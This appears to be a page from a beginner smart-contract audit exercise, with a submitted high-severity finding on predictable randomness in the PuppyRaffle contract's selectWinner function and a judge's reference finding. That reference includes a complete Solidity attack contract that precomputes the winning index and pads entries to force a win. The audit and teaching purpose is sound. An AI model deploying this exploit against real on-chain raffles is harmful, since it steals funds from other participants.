Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

patonguch

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

Hashing `msg.sender`, `block,timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.
​
**Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.
​

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

    *High*

Impact:

  • Impact 1

    *High*

  • Impact 2

    Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the [solidity blog on prevrandao](https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.
​
Using on-chain values as a randomness seed is a [well-documented attack vector](https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation

Consider using a cryptographically provable random number generator such as [Chainlink VRF](https://docs.chain.link/vrf)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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